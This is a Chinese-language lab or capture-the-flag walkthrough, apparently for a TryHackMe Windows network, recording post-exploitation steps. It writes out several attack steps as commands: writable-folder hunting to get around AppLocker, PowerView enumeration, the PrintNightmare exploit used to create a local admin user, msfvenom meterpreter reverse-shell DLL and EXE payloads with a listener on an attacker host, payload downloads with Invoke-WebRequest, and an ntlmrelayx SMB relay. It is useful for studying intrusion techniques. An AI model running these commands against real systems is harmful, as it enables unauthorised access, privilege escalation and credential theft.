
我们用辅助工具https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt

r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for Ghostpack (.NET v4.0) (github.com)

下载到kali,再上传

powershell.exe Invoke-WebRequest http://10.50.107.175/SeatbeltNet3.5x64.exe -outfile sb.exe

./sb.exe -group=system

我们发现其被锁定无法运行,那么,我们试试AppLocker绕过

运行secpol.msc

可以没用

我们找到了个绕过项目

api0cradle/UltimateAppLockerByPassList: The goal of this repository is to document the most common techniques to bypass AppLocker. (github.com)

我们输入

#A hacky script to convert YML to MD file the way I want
#Author: Oddvar Moe
#If you can use it, be my guest!

function Convert-YamlToMD
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory=$true)]
        $YamlObject,

        [Parameter(Mandatory=$true)]
        [String]
        $Outfile
    )

    Begin
    {
    }
    Process
    {
        # Header
        "`#`# $($YamlObject.Name)" | Add-Content $Outfile
        "``````" | Add-Content $Outfile
        foreach($cmd in $YamlObject.Commands)
        {
            "`n$($cmd.command)" | Add-Content $Outfile
            "$($cmd.description)" | Add-Content $Outfile
        }
        "``````" | Add-Content $Outfile
        "* Windows binary: $($YamlObject.'Windows Binary')   " | Add-Content $Outfile
        "* Bypasses Default AppLocker Rules: $($YamlObject.'Bypasses Default AppLocker Rules')   " | Add-Content $Outfile
        "* Mitre: `[$($YamlObject.MITRE.ID)`]`($($YamlObject.MITRE.Link)`)   " | Add-Content $Outfile
        
        "   " | Add-Content $Outfile

        "* Links:   " | Add-Content $Outfile
        foreach($link in $YamlObject.Resources)
        {
            "  * $($link.link)" | Add-Content $Outfile
        }

        "   " | Add-Content $Outfile

        "* File path:   " | Add-Content $Outfile
        foreach($path in $YamlObject.'Full path')
        {
           "  * $($path.path)" | Add-Content $outfile
        }
        
        "   " | Add-Content $Outfile
        
        "* Acknowledgement:   " | Add-Content $Outfile
        foreach($person in $YamlObject.Acknowledgement)
        {
            "  * Name: $($person.Name)" | Add-Content $Outfile
            "    * Twitter: `[$($person.TwitterHandle)`]`(https://twitter.com/$($person.TwitterHandle)`)" | Add-Content $Outfile
            "    * Blog: $($person.Blog)" | Add-Content $Outfile
        }
        
        "   " | Add-Content $Outfile

        "OS:  " | Add-Content $Outfile
        foreach($OS in $YamlObject.'Verified on OS')
        {
            if($OS.Values -eq "true")
            {
                "`- `[x`] $($OS.Keys)" | Add-Content $Outfile
            }
        }

    }
    End
    {
    }
}


function Add-MainIndex
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory=$true)]
        $YamlObject,

        [Parameter(Mandatory=$true)]
        [String]
        $Outfile
    )

    Begin
    {
    }
    Process
    {
        # Header
        # OS BINARIES
        #[Atbroker.exe](OSBinaries/Atbroker.md)    
        "`[$($YamlObject.Name)`]`(md/$($YamlObject.Name).md`)" | Add-Content $Outfile
        "" | Add-Content $Outfile
    }
    End
    {
    }
}

function New-MainIndex
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory=$true)]
        [String]
        $Outfile,

        [ValidateSet("Verified","NotVerified")]
        [Parameter(Mandatory=$true)]
        [String]
        $Status
    )

    Begin
    {
    }
    Process
    {
        # Verified Header
        if($Status -eq "Verified")
        {
            "`# Verified AppLocker bypasses for Default rules" | Add-Content $Outfile
            "This list contains all the bypasses that has been verified to bypass AppLocker default rules." | Add-Content $Outfile
            "" | Add-Content $Outfile
        }

        #NotVerified Header
        if($Status -eq "NotVerified")
        {
            "`# Potential bypasses" | Add-Content $Outfile
            "This list contains all the bypasses that has NOT been verified, or does not bypass the default AppLocker rules (but can bypass AppLocker in other ways) or is a claimed bypass." | Add-Content $Outfile
            "" | Add-Content $Outfile
        }
    }
    End
    {
    }
}

$mainpath = "C:\data\gitprojects\UltimateAppLockerByPassList"

# Read yaml files
$bins = @()
cd "$mainpath\yml"
get-childitem | foreach{ 
    [string[]]$fileContent = Get-Content $_
    $content = ''
    foreach ($line in $fileContent) { $content = $content + "`n" + $line }
    $yaml = ConvertFrom-YAML $content
    $bins += $yaml
}

#Initialize index files
New-MainIndex -Status Verified -Outfile $mainpath"\VerifiedAppLockerBypasses.md"
New-MainIndex -Status NotVerified -Outfile $mainpath"\UnverifiedAppLockerBypasses.md"

$bins | foreach{
WRITE-HOST "$($_.name)"

Convert-YamlToMD -YamlObject $_ -Outfile "$mainpath\md\$($_.name).md"
if($_.'Bypasses Default AppLocker Rules')
{
    Add-MainIndex -YamlObject $_ -Outfile $mainpath"\VerifiedAppLockerBypasses.md"
}
else{
    Add-MainIndex -YamlObject $_ -Outfile $mainpath"\UnverifiedAppLockerBypasses.md"
}
}

不过我最开始用的是

$group = "*Users*"
$root_folder = "C:\windows"
write-output "[*] Processing folders recursively in $root_folder"
foreach($_ in (Get-ChildItem $root_folder -recurse -ErrorAction SilentlyContinue)){
if($_.PSIsContainer)
{
try{
$res = Get-acl $_.FullName 
} catch{
continue
}
foreach ($a in $res.access){
if ($a.IdentityReference -like $group){
if ( ($a.FileSystemRights -like "*Write*" -or $a.FileSystemRights -like "*CreateFiles*" ) -and $a.FileSystemRights -like "*ReadAndExecute*" ){
write-host "[+] " $_.FullName -foregroundcolor "green"
}

}
}
}
}

这让我们得到了几个没有锁的地带

切换到 C:\windows\Tasks

我们再次运行

.\Seatbealt.exe -group=system

结果出现了新的错误真是sun dog

下来使用powerviwe看看

输入Import-Module .\PowerView.ps1

Get-DomainUser

更多请看

PowerView-3.0 tips and tricks (github.com)

Dr.korbinian推荐:

# enumerate/list all groups present on a local machine/computer
Get-NetLocalGroup

# enumerate/list all members of a local group such as users, computers, or service accounts
Get-NetLocalGroupMember

# enumerate/list all users currently logged onto the local machine/computer
Get-NetLoggedon

# enumerate/list the active directory domain GPOs installed on the local machine
Get-DomainGPO

# check all hosts connected to the domain and check if the current user or listed user is a local administrator
Find-LocalAdminAccess

# list/enumerate all the scheduled tasks present on the system
Get-ScheduledTask

# list/enumerate all the scheduled tasks present on the system which are located in the Users directory
Get-ScheduledTask -TaskPath "\Users\*"

# list specific information on specified Tasks allowing the attacker to identify the task and how it could be exploited
Get-ScheduledTaskInfo -TaskName <Full Path>

# enumerate a user's groups or all groups within the domain. If it throws an error, you need to run the upcoming command
Import-Module ActiveDirectory; Get-ADGroup

# only possible in elevated powershell window - enables the ActiveDirectory module
Add-WindowsFeature RSAT-AD-PowerShell

# etrieve the groups a user, computer group, or service account is a member of (also only works with the ActiveDirectory module)
Get-ADPrincipalGroupMembership

下来我们进行提权

讲真,看上面的东西真的难搞,于是Dr.korbinian推荐了:

calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare) (github.com)

毕竟靶机是2020年的,用个21年的漏洞简直降维打击

git clone https://github.com/calebstewart/CVE-2021-1675

powershell.exe Invoke-WebRequest http://10.50.107.175/CVE-2021-1675.ps1 -outfile CVE-2021-1675.ps1

Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "Zacarx" -NewPassword "zacax9981!"
net user Zacarx

接下来,我们走tryhackme的路线

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.107.175 LPORT=53 -f dll -o kavremoverENU.dll

set payload windows/meterpreter/reverse_tcp
set LHOST 10.50.107.175
set LPORT 53

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > run

powershell.exe Invoke-WebRequest http://10.50.107.175/kavremoverENU.dll -outfile kavremoverENU.dll

nmap -p 445 --script smb2-security-mode 10.200.110.32 -Pn

参考文章

(6条消息) NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlm relay攻击

windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 -f exe > meterpreter_shell.exe

└─$ msfconsole -q 
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > run

sudo ntlmrelayx.py -t smb://10.200.110.30 -smb2support -socks

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